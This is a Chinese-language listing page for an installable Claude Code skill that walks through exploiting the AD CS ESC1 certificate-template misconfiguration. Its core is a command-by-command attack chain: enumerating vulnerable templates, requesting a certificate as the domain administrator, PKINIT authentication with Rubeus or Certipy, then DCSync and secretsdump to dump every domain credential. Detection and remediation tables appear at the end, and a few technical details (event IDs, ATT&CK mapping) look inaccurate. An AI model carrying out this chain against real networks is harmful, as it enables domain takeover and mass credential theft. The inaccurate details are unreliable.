关于 exploiting-active-directory-certificate-services-esc1
讲解 Active Directory Certificate Services 中 ESC1 配置错误及其基于证书的权限提升路径,适用于获授权的实验或测试。内容涵盖模板枚举、验证、报告,以及检测线索和修复措施。
主要功能
- 01枚举 AD CS 和证书模板
- 02检查模板是否符合 ESC1 条件
- 03使用任意 SAN 申请证书
- 04通过 PKINIT 进行身份验证
- 05查看检测线索与修复措施
适用场景
- 01在获授权测试中评估 AD CS
- 02在实验环境练习 ESC1 验证
- 03制定证书滥用检测方法
- 04记录发现并编写修复建议
安装
复制下面的命令,在终端中运行。
$
npx skills add https:/ / github.com/ mukul975/ anthropic-cybersecurity-skills --skill exploiting-active-directory-certificate-services-esc1安装后在 Claude Code 中输入/exploiting-active-directory-certificate-services-esc1确认已加载。
包含的文件
除 SKILL.md 外,安装时一起下载的参考资料和脚本。
LICENSEassets/template.mdreferences/api-reference.mdstandards.mdworkflows.mdscripts/agent.pyprocess.py详细介绍
利用 Active Directory 证书服务 ESC1
概述
ESC1(Escalation Scenario 1,权限提升场景 1)是 Active Directory 证书服务中的一个严重错误配置:证书模板允许低权限用户代表任何其他用户(包括 Domain Admins)申请证书。当模板启用了 CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT 标志(也称为 "Supply in Request"),并配合允许客户端身份验证的扩展密钥用法(EKU,包括 Client Authentication、PKINIT Client Authentication、Smart Card Logon 或 Any Purpose)时,该漏洞便存在。这允许攻击者在证书请求中指定任意使用者可选名称(SAN),从而有效冒充任意域用户。ESC1 由 SpecterOps 研究人员 Will Schroeder 和 Lee Christensen 在其《Certified Pre-Owned》白皮书(2021)中记录,至今仍是最常见的 AD CS 攻击路径之一。MITRE ATT&CK 框架将其跟踪为 T1649(窃取或伪造身份验证证书)。
何时使用
- 在执行涉及利用 active directory certificate services esc1 的授权安全测试时
- 在受控环境中分析恶意软件样本或攻击痕迹时
- 在开展红队演练或渗透测试项目时
- 在基于对攻击技术的理解构建检测能力时
前提条件
- 熟悉红队概念和工具
- 可访问测试或实验环境以安全执行
- 已安装所需依赖项的 Python 3.8+
- 对任何测试活动具备适当授权
目标
- 使用 Certify 或 Certipy 枚举 AD CS 基础设施和证书模板
- 识别启用了 "Supply in Request" 的易受攻击 ESC1 模板
- 在 SAN 字段中指定 Domain Admin 申请证书
- 通过 PKINIT 使用伪造证书进行身份验证以获取 TGT
- 使用获得的 Kerberos 票据将权限提升至 Domain Admin
- 为项目报告记录完整攻击链
MITRE ATT&CK 映射
- T1649 - 窃取或伪造身份验证证书
- T1558.001 - 窃取或伪造 Kerberos 票据:黄金票据
- T1078.002 - 有效账户:域账户
- T1484 - 域策略修改
- T1087.002 - 账户发现:域账户
工作流
阶段 1:AD CS 枚举
- 枚举域中的证书颁发机构(CA)服务器:
# Using Certify (Windows) Certify.exe cas # Using Certipy (Linux/Python) certipy find -u [email protected] -p 'Password123' -dc-ip 10.10.10.1 - 枚举所有证书模板并识别易受攻击的模板:
# Using Certify - find vulnerable templates Certify.exe find /vulnerable # Using Certipy - outputs JSON and text reports certipy find -u [email protected] -p 'Password123' -dc-ip 10.10.10.1 -vulnerable - 验证已识别模板上的 ESC1 条件:
msPKI-Certificate-Name-Flag包含ENROLLEE_SUPPLIES_SUBJECTpkiExtendedKeyUsage包含 Client Authentication 或 Smart Card LogonmsPKI-Enrollment-Flag不要求管理员审批- 低权限组(Domain Users、Authenticated Users)具有 Enroll 权限
阶段 2:使用任意 SAN 申请证书
- 使用易受攻击的模板申请证书,在 SAN 中指定 Domain Admin:
# Using Certify (Windows) Certify.exe request /ca:DC01.domain.local\domain-CA /template:VulnerableTemplate /altname:administrator # Using Certipy (Linux) certipy req -u [email protected] -p 'Password123' -ca 'domain-CA' -target DC01.domain.local -template VulnerableTemplate -upn [email protected] - CA 颁发的证书在 SAN 字段中包含 Domain Admin 的 UPN
- 将输出的证书保存为 PFX/PEM 格式
阶段 3:使用伪造证书进行身份验证
- 如需要,转换证书(Certify 输出 PEM,转换为 PFX):
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx - 使用 PKINIT 进行身份验证,为被冒充用户获取 TGT:
# Using Rubeus (Windows) Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /password:<pfx-password> /ptt # Using Certipy (Linux) certipy auth -pfx administrator.pfx -dc-ip 10.10.10.1 - TGT 现已加载到内存中(Windows)或恢复出 NT 哈希(Linux)
阶段 4:域权限提升
- 使用 Domain Admin TGT 执行特权操作:
# DCSync to dump all domain credentials mimikatz.exe "lsadump::dcsync /domain:domain.local /all" # Or using secretsdump.py with the obtained NT hash secretsdump.py domain.local/[email protected] -hashes :ntlmhash - 验证 Domain Admin 访问权限:
# List domain controllers dir \\DC01.domain.local\C$ # Access Domain Admin shares dir \\DC01.domain.local\SYSVOL
工具与资源
| 工具 | 用途 | 平台 |
|---|---|---|
| Certify | AD CS 枚举和证书请求 | Windows (.NET) |
| Certipy | AD CS 枚举、请求和身份验证 | Linux (Python) |
| Rubeus | 使用证书进行 Kerberos 身份验证(PKINIT) | Windows (.NET) |
| Mimikatz | 提权后的凭据转储 | Windows |
| secretsdump.py | 远程凭据转储(Impacket) | Linux (Python) |
| PSPKIAudit | PowerShell AD CS 审计模块 | Windows |
| ForgeCert | 证书伪造工具 | Windows (.NET) |
易受攻击的模板指标
| 条件 | 易受攻击的值 |
|---|---|
| msPKI-Certificate-Name-Flag | ENROLLEE_SUPPLIES_SUBJECT (1) |
| pkiExtendedKeyUsage | 客户端身份验证 (1.3.6.1.5.5.7.3.2) |
| 注册权限 | Domain Users 或 Authenticated Users |
| msPKI-Enrollment-Flag | 无需管理员批准 |
| CA 设置 | 未强制执行批准工作流 |
检测特征
| 指标 | 检测方法 |
|---|---|
| 证书请求中的 SAN 与请求者不同 | CA 服务器上的 Windows 事件 4886 / 4887 |
| 异常的 PKINIT 身份验证 | 事件 4688,带有基于证书的预认证 |
| Cert.exe 或 Certipy 执行 | EDR 进程监控和命令行日志记录 |
| 大规模证书模板枚举 | 对 pkiCertificateTemplate 对象的 LDAP 查询监控 |
| 证书颁发给不匹配的 UPN | CA 审计日志和证书透明度 |
验证标准
- 已枚举 AD CS 证书颁发机构
- 已使用 Certify 或 Certipy 识别出易受攻击的 ESC1 模板
- 已成功使用 Domain Admin SAN 请求证书
- 已使用伪造证书执行 PKINIT 身份验证
- 已获取 Domain Admin TGT
- 已验证对域控制器的特权访问
- 已记录完整攻击链并附带证据
- 已提供修复建议(在 Request 中禁用,要求管理员批准)
评论
支持 Markdown